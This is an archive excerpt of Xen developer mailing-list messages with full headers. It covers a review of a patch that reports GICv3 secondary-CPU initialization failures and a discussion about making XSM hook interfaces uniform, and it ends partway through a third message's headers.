Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=wj1ovunjkgu+Eh1LesLqNhaB9crt2YjopPsLPDRl+rYisSXYxC7OBD8azhjrxYrWyuJMfsvJ7Dv05+WGbLbk89/H/FBHt+oKxs6n7NBZFxQYyFbUZCcPnn0tJTV0fo4lYDcqqFhYOT1RQdf57js3nBK+YMsvozvl5B6ABHwrsiVJFEQ2iIW3wP5vPeaahHg2ycM5LMnPUQjQkNfxHtliuHNaMUQ8Nln/Fm/RsBV4pXk96/fFl1fe7I/mxkFJg213PpAQjEAQq0uMudIs31uJ6K3QKglALqBKdM3luoWxNHN0/SlojiTvtz9LxyZPjFrLP/3x90zgXNwObYdnp4tq2w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=/BWJ7WrPWZmO47oVWsQSnUiYy1NbVK6P8zPGXR7TTuo=;
 b=o7QIATKyankAHXh8DXAmW2zzU1Q+vXu9sn49YDOyptHH6/SSqprFhu5yN/r20Nmo4vOT6MZSheuAZ0Bh64GonabC2Gy0hMRV47K9Q7r5TiFAFgDITapSJ7se16pRXH+gWglu2Obw/UvuGKI/aGBhNI1+fm78/g2LgkxFy/SEQ1F5PsOHXebXID8uXgu6tWOanuGvNH5+YDVfnnS4MFk/NYn7pf9kNQkhFgsuvVY9Bmbyz3kLauGsVc+mGh0P78cZ+KbcyAWXNCP2t+/8gL0+bOPBzIvJpUx6Dobgn2JPGvoFDbuZMnq4R6V5hPYJ6j9IDBOfD84pA0WoiVaerY+O6g==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=epam.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=/BWJ7WrPWZmO47oVWsQSnUiYy1NbVK6P8zPGXR7TTuo=;
 b=tt+Gl5nu/9gnT2qh0Qpf/JzHiAwF8bqK/hXitNF00HDT4D4x5JQouiqfrIiX9Wktzb+s47PQbXUYq/IW5/eSXscxuxZ07hAV2mgJUGJT5zi8rEtfU36WFULo3pdCWD7RL843Nwo2G9x9oZitiFEdeO3sRpvjm80tY0UmEiSonzY=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <f213f189-02d2-4edb-ab4e-591cedd11455@amd.com>
Date: Fri, 31 Jul 2026 09:49:07 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22] xen/arm: propagate secondary GIC initialization
 failures
From: "Orzel, Michal" <michal.orzel@amd.com>
To: Mykola Kvach <mykola_kvach@epam.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>
References: <9fd0d0eacf061cc2a32f440e3438c084fa9ca79c.1783678619.git.mykola_kvach@epam.com>
 <acb504c2-f66d-4c69-9fa0-db36030631bb@amd.com>
Content-Language: en-US
In-Reply-To: <acb504c2-f66d-4c69-9fa0-db36030631bb@amd.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN1PEPF00004689:EE_|MW4PR12MB7483:EE_
X-MS-Office365-Filtering-Correlation-Id: 92ee4b17-076b-4e77-e051-08deeed8376c
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|36860700016|1800799024|23010399003|82310400026|11063799006|56012099006|10067099003|4143699003|6133799003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	0Rk587fKMkBGP5oE8GmGId0o9a+umWhiyj+dsdfvrVKIcrlufIUwFWzFpppgQf4ILFT9rl9bZdFKIFifgqKbn//H3Ynh0uUs49C+IjnTFCDRINu+V6V+TpzLqZUHz3yQWYQsmHCAKnb38L11ed1CkxUrG9bdzH5DflhbMBiRNHimphpA+j8/hTwdr9Wy6hZ5CV01u5Kcz2+M3I4qJYc5G1a+Ijq2StW6nU3KfP4LdhkE3upTTV+dP2NPzmxkcXPWe3echzUboAVqgqsTuyiG4g7bSRVFtz2tRPMLnj3grexvwSYm5qYh+eGTvhSCm1aubMA2PyFlc7I7A4nMUdvy/owjTEFdjTGjqHaJ2xTMjIIlYSta8LXD4/BhpPQJY06n0FNa9Bppd8khNbcGAPdNqGfDUJDVmTlziOamf1XWKSAVaz8zDxCtw00bsE2bxgY92Z4UgkS8mSXmnEi0OYJOzHtqxO+Yo9RMlAdd0J24KbIzwv9xipVHKFAVHBFQAbR0wuUGLgUQ6VBlVPItGtef+aaQsNB5Zl7UHxaHOIxDx1l0debwTYZdFdKsZ25U11KHLdsdizIhrzO85YxOOTYW8MiIylUyF65V24eSoOQjRtcWa0JO6vmQPINycO8sB72x10A33Qti/J/5dhYxMVw0UNml3jT5UG6FaLaeGrFv8UtHzFNzltr+A3WRDH1tJKHp+VKooW7F9L0ixacVDZOT2Q==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(36860700016)(1800799024)(23010399003)(82310400026)(11063799006)(56012099006)(10067099003)(4143699003)(6133799003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	48SIyMBU/vZqQxHx0/dTotOEN6nsFsbphlC0hKOWzvW7HN3dYgqFsGnTSmeutECvy+61TYtdA00m+RLidVWqz1HkNhO8Rcj3kSC9G7kzCLlqsSjDtoMggTDLhugEFvJk+SxyBJa5q529wqDDcrzM4F47aKIc0ySRauWKovb6TEWatanG6NQqB1FjRtvmhbIG5HjUPFXVjQPV9ur9tz/U/4hdCAkohZoY+reeoLsY6jX59ArpWLXT7hf3Pw5mK5ENbCCgM67i2YKuZZF4HUJ85bKmP86akHp8CVDuRseR8SMSg4YJ0KlFtTAIOikBtU+xpUHHMUzvpO/uyEpXLlT8wZZjXJdjvM4mC094q0sQnD8J3I94O/1b0pwuX8cVcu6Bx5JK9XdIZjOPaW0G1d0M2tCfFplE7c6n5maXECxNSbGSZeCe1fmtYNG5iRYsslz5
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 31 Jul 2026 07:49:14.2990
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 92ee4b17-076b-4e77-e051-08deeed8376c
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN1PEPF00004689.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW4PR12MB7483
X-purgate-ID: tlsNG-d62444/1785484167-BF262757-48C027DA/0/0
X-purgate-type: clean
X-purgate-size: 3550



On 22-Jul-26 13:04, Orzel, Michal wrote:
> 
> 
> On 10-Jul-26 12:20, Mykola Kvach wrote:
>> The GICv3 secondary_init() callback can fail while discovering or
>> waking a Redistributor, enabling LPIs, or setting up an ITS collection.
>> gic_init_secondary_cpu() currently discards that status. start_secondary()
>> then marks the CPU online even though its per-CPU GIC interface may be
>> unusable.
>>
>> Return the callback status through the common GIC layer. Have
>> start_secondary() report the failure and stop the affected CPU before it
>> is added to cpu_online_map.
>>
>> Fixes: bc183a0235e0 ("xen/arm: Add support for GIC v3")
>> Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
>> ---
>>  xen/arch/arm/gic.c             | 10 ++++++++--
>>  xen/arch/arm/include/asm/gic.h |  2 +-
>>  xen/arch/arm/smpboot.c         |  9 ++++++++-
>>  3 files changed, 17 insertions(+), 4 deletions(-)
>>
>> diff --git a/xen/arch/arm/gic.c b/xen/arch/arm/gic.c
>> index ee75258fc3..078049e741 100644
>> --- a/xen/arch/arm/gic.c
>> +++ b/xen/arch/arm/gic.c
>> @@ -282,11 +282,17 @@ void smp_send_state_dump(unsigned int cpu)
>>  }
>>  
>>  /* Set up the per-CPU parts of the GIC for a secondary CPU */
>> -void gic_init_secondary_cpu(void)
>> +int gic_init_secondary_cpu(void)
>>  {
>> -    gic_hw_ops->secondary_init();
>> +    int rc = gic_hw_ops->secondary_init();
>> +
>> +    if ( rc )
>> +        return rc;
>> +
>>      /* Clear LR mask for secondary cpus */
>>      clear_cpu_lr_mask();
>> +
>> +    return 0;
>>  }
>>  
>>  /* Shut down the per-CPU GIC interface */
>> diff --git a/xen/arch/arm/include/asm/gic.h b/xen/arch/arm/include/asm/gic.h
>> index ff22dea40d..ee2c26adb4 100644
>> --- a/xen/arch/arm/include/asm/gic.h
>> +++ b/xen/arch/arm/include/asm/gic.h
>> @@ -291,7 +291,7 @@ extern void gic_preinit(void);
>>  /* Bring up the interrupt controller, and report # cpus attached */
>>  extern void gic_init(void);
>>  /* Bring up a secondary CPU's per-CPU GIC interface */
>> -extern void gic_init_secondary_cpu(void);
>> +extern int gic_init_secondary_cpu(void);
>>  /* Take down a CPU's per-CPU GIC interface */
>>  extern void gic_disable_cpu(void);
>>  /* setup the gic virtual interface for a guest */
>> diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
>> index ba5fd2dd52..5e23b0b6a9 100644
>> --- a/xen/arch/arm/smpboot.c
>> +++ b/xen/arch/arm/smpboot.c
>> @@ -319,6 +319,7 @@ smp_prepare_cpus(void)
>>  void asmlinkage noreturn start_secondary(void)
>>  {
>>      unsigned int cpuid = init_data.cpuid;
>> +    int rc;
>>  
>>      memset(get_cpu_info(), 0, sizeof (struct cpu_info));
>>  
>> @@ -373,7 +374,13 @@ void asmlinkage noreturn start_secondary(void)
>>       */
>>      update_system_features(&current_cpu_data);
>>  
>> -    gic_init_secondary_cpu();
>> +    rc = gic_init_secondary_cpu();
>> +    if ( rc )
>> +    {
>> +        printk(XENLOG_ERR "CPU%u: Failed to initialize the GIC: %d\n",
>> +               cpuid, rc);
> NIT: While functionally identical, for consistency with the neighbouring
> messages you may want to use smp_processor_id() here instead of cpuid. I can
> change on commit.
> 
> Reviewed-by: Michal Orzel <michal.orzel@amd.com>
I was about to commit this patch when I realized that it should be moved above
update_system_features() as the comment above it suggests i.e. we should update
system features only if we do not stop the core. Please send a v2 with remarks
addressed.

~Michal



From xen-devel-bounces@lists.xenproject.org Fri Jul 31 08:04:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 08:04:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378843.1623875 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpiDl-0005t6-HF; Fri, 31 Jul 2026 08:03:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378843.1623875; Fri, 31 Jul 2026 08:03:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpiDl-0005sz-Ec; Fri, 31 Jul 2026 08:03:57 +0000
Received: by outflank-mailman (input) for mailman id 1378843;
 Fri, 31 Jul 2026 08:03:56 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpiDk-0005sq-Co
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 08:03:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpiDj-00DYs2-6K
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 10:03:55 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6c56e1-e002-0a2a0a5209dd-0a2a450ba846-44
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 10:03:55 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6c56ea-b7e8-0a2a450b0019-d155dd2ac072-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 10:03:54 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-47f64ca1c2dso192735f8f.2
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 01:03:54 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fd45a1abfsm1674971f8f.37.2026.07.31.01.03.53
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 31 Jul 2026 01:03:53 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785485034; x=1786089834; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=rHk5bFtiBhp6CkghRKKUYuzZFDug855GKVXyV63qCSk=;
        b=MEhxRAWASK/9c71KDKJf0iQQYku+lVcdU7lHaryYVxBndy+JaIGWM8rujayvC8M8v9
         1xXug0AA7h+aHBqq+zB0EO5BxdshpMIxRDiSNwUHPzzvxSWyO3Spid068gl/6UAFm7XL
         MnrpDkcfwyZtmoEac25a5XYbQYd6cB0B0D4itTCDBgV2HZVMIVFNlbL/nmL9uzO4airU
         8gYlhThG8RkUtyUAhOYOE5o9wDOmYZazZqaZ1FzCnREz/OlD74zJf6mi5mADh8UVeR5v
         /6ck+u+Jg8f8naVE2Hw2FjTsuxp12E5ziQ2hrp4etd3uh5FMOzMFWkSgWigvCd39YqAR
         ijNg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785485034; x=1786089834;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=rHk5bFtiBhp6CkghRKKUYuzZFDug855GKVXyV63qCSk=;
        b=c2N6FItwFqXj9c4WxBwO+0q8k/hkkk8gFpdez9laV+k9SDqKwc2XkM9vzVQ88JVJmS
         C+AyUryCv3l2xYzPMDelEmYsTCW+iE4/rjKRP7ZVCaVdnG0BQZ3xx2z7khcIx9nKML1n
         RAz5JmLExcdJIc0Imeex30omqWGXnFY88bsutWKasUeS/WkVmatZfnMMkztGfWfr4/6P
         DZLZK2bQuTOb0+etNEQP2+LxDqZHoYgv+F+NYPLuRShJ0qw9vyslT5A8uu7b+dGGJ32q
         Ubx31BfTzcJNIawzulkerl0QZMqqXFLMRkNqQPZMjgZ3QGFZmuc2Fm2N99E/Z/zTDCmb
         onhA==
X-Gm-Message-State: AOJu0YzOgy21hajfdpIBcbglGfha9ddhr7lPyA0MEr5qXoCY5t/KMdQG
	xehnYyaMa3CaGoS4DQ/MAfr3FwM+wYzOVD9zqZddWYrMh6uBPRb7TcNH8nOQi3B4CQ==
X-Gm-Gg: AR+sD12PNIZEDIigQAUDpe6c8mixaVZjqYKXq6bqDzmXCQdmIH2DHTOUj4XVvYQp657
	FmIIMYxzaFgjEU2kBzy79P5tN+UgRFupWD1ZZLm8h8U/Uf/vyxOA6VHtUMPKovVSSaRc1HQEaC2
	iJfLv7dG98iZzOlCZO0SPP2VEXbhenvR2S4TJpq2CERQIqX0/xgWNAnIPq5jVCyxovuuuqB887q
	GdVoB1sgalG6xgAZHFOHxWpL0jJM6AoTv/itYRDftxCdFFtBo11XLcNalNtW6Q7HGP9UN++c7km
	+jnL1lTpYFcOusU3XZEFaqXkK+YM308yXGSsyFsEXj+VRzm262jtSDteRE1h6jyG5Y9HOlISGE6
	Exp9UJ3AnFpeXSKs8GbbkSfTNEk5a3TSjD88NlCFqPR8V2gp0JK7HNQQtN3qDYmKqDP+jHyk9Gq
	ByqVI0SlkpBGQCABNTB6lqhExAuP5+OJxUXdcKq0U02Vc5JZpIDIwUkmiafsgGk823XsiXVx+4e
	53ajIlH8b5oMxY6TDcwWjYux6+xAMBjz2m9vCjYmeq8VZpmhrGz
X-Received: by 2002:a05:6000:3111:b0:47f:9c6f:8844 with SMTP id ffacd0b85a97d-47fd2abac47mr2511007f8f.9.1785485034337;
        Fri, 31 Jul 2026 01:03:54 -0700 (PDT)
Message-ID: <8b4568ef-1fe7-4a3f-b1b4-a3175ebe62d9@suse.com>
Date: Fri, 31 Jul 2026 10:03:51 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 01/24] XSM: reduce redundancy in hook machinery
To: "Daniel P. Smith" <dpsmith@apertussolutions.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
 <7487f138-e5e9-41d6-9291-f5eef42d09a1@suse.com>
 <62738b20-ef4b-47ac-832c-5c5fe353e56f@apertussolutions.com>
 <8030ff8e-ed83-46c4-ba69-4954ee645c38@suse.com>
 <19775f5b-e458-4336-92a3-8f8103708564@apertussolutions.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1Bf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HGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <19775f5b-e458-4336-92a3-8f8103708564@apertussolutions.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785485034-A9EC69EA-A0DCE6D9/0/0
X-purgate-type: clean
X-purgate-size: 1404

On 30.07.2026 20:21, Daniel P. Smith wrote:
> On 7/30/26 11:18 AM, Jan Beulich wrote:
>> On 30.07.2026 17:05, Daniel P. Smith wrote:
>>> On 7/28/26 9:13 AM, Jan Beulich wrote:
>>>> Hooks not taking xsm_default_t as first argument could of course be
>>>> adjusted to take one, at which point they could be covered here as well.
>>>> Question is why there is this difference in the first place.
>>>
>>> I have a theory but I am not confident to write it down. I can see if I
>>> can confirm with DDG if you really care that much to know the why.
>>> Personally having a consistent hook interface convention would provide a
>>> simpler pattern for people to follow if they are having to introdcue a
>>> new hook.
>>
>> Well, I don't really need to know the reason. If you agree that making
>> things uniform is a good move, I can simply stick a few more patches at
>> the end of this series.
> 
> Correct me if I am wrong, but we would be introducing an unused 
> parameter in exchange for uniform interfaces that can be generated with 
> machinery reducing hook maintenance overhead. IMHO I feel from a 
> security standpoint this would be a win. Would you disagree?

Definitely not. What I'm unsure is whether I'd call this a security related
win. To me it's more a win in maintainability in general. Which of course
(typically) also helps security of the resulting code.

Jan


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 08:07:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 08:07:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378851.1623884 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpiHY-0006dN-1Q; Fri, 31 Jul 2026 08:07:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378851.1623884; Fri, 31 Jul 2026 08:07:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpiHX-0006dG-UI; Fri, 31 Jul 2026 08:07:51 +0000
Received: by outflank-mailman (input) for mailman id 1378851;
 Fri, 31 Jul 2026 08:07:50 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpiHV-0006ag-To
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 08:07:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpiHU-00BNYV-RW
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 10:07:48 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6c57d4-bab6-0a2a0a5309dd-0a2a450484d2-2
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 10:07:48 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6c57d4-b57f-0a2a45040019-d155dd2da9a0-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 10:07:48 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-4720f3bf164so1066999f8f.1
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 01:07:48 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fd41d1956sm2283053f8f.6.2026.07.31.01.07.46
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 31 Jul 2026 01:07:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785485268; x=1786090068; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=DVPR6IV5y4sZnO82TuJyj2/dSLaf5FSWC3TMCkssEMQ=;
        b=Q5tsnYlhNv/ooc5fiYdjxp0VRdcs7GYv1k2avNR1SrPUZ/VGY5q/HEymoKiNTZe0GN
         taIIRMY5JRtyWzGCWYwrGMAaKJcK2fsq2kTRjia4ndx1Ira7noi9p7WbAL3zYcMXz6GY
         p6Z+FjTQugLRFKwK2wXEmG3/YoeWTaxsmwaaAyCIGf1kelvJYFLHxJu/InGpYH+FB5we
         ikadaArr6YVFvnHGA22v53ak2cUbvCpLQcgHWa4LgYXMRF8rLpHNKAN/AzHuUFu2VVC2
         q+3HtLPA9ul1I+vNhQ6aKeDp5D5IzJB+OiVy0QcMSK5dQpSCx0zUVch7QudSjPQDkiSg
         By9Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785485268; x=1786090068;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=DVPR6IV5y4sZnO82TuJyj2/dSLaf5FSWC3TMCkssEMQ=;
        b=EhYecZzPFB8uQNetec+IECaNz8fM1EipHcE9ueB7RuY4LN6QJO4RR9Agdqb/oaBxwb
         E7EsSDfaTp2fC4kuz9zZIolSw9MrQuySllKFC7+eVYkU80L3emtDXSxJALcbVgqGcnY8
         +GVfYFSGUZc8KqaYDs9Nu52ZAFSjc4oPIeVE5GTJJaTqvg4Tl6xWWntq+7LqL27Am9mB
         bEsyi2rywlhVon+aiP09Hlg2eAGfWa8cSHv7u7wyt4+ekGcn2sY+zthrp4K+nIEi+doD
         WVX+3Ct/0M9Xh8jrp2T1Jf6IKUG6I4Mcsfdpx4tSKHaOpKu0dwEtDsvhb8AX92ReWGF/
         9OhQ==
X-Forwarded-Encrypted: i=1; AHgh+Rri0bB24GxaaI0PnPakLhe3reQKlXf0Nvlx0znOlC24LQsT1Ai5AaT4Lo0YyrzKQTeWHlgCpsjSeXY=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy/c5wkk0KKQ+ouIFJz6rGQHmBBd/j9XnjN+/DnjTWz/Lkqqk71
	EI6C748XBAj3/pf2w6OB8KpPkfubcx1+fsYCRh3fNeCC7Ra/hfdCRelhrP3fYTZ+1Q==
X-Gm-Gg: AR+sD115/3P6bN28aDCZQ+vMfvHp3+K2a+1gG6IfigmfoGQYK2J6IEXiAN7553cWnxA
	JVhCtQwvlqWbhmaweFBmVNZwLuPhSoz2dmAlEFC7gh7v0Lw5+T9XIUb06J+c3P8Rh+0XCXOlcY2
	tDzE6Mr0g+GtztDwRzoJ4lyfTBZuWWDXdgXhsWWVoxrNvk7qCxOiQ2kIHKQbHsdxyinIR5SRj3I
	NOyx2A5EilSBBD4jIxaCpxfTI75toeJRJ1wwxKs9+t4anY8mwCIdzoCBsIlQkGWA2M4+Zjx7rEd
	Omk64PRVNnENuLb3Da7So0DDM/dXwb11zV3UIR35CkKGbu/g+VdcQMAquJsGnQO6k43IfMusghF
	nEN8i6ANTqLKqdEhwjsHypyJgxPti7yRSC2yfEKvTfRvJ4dPz4pRBJn6OkvTNozc8LA9/Pxtue1
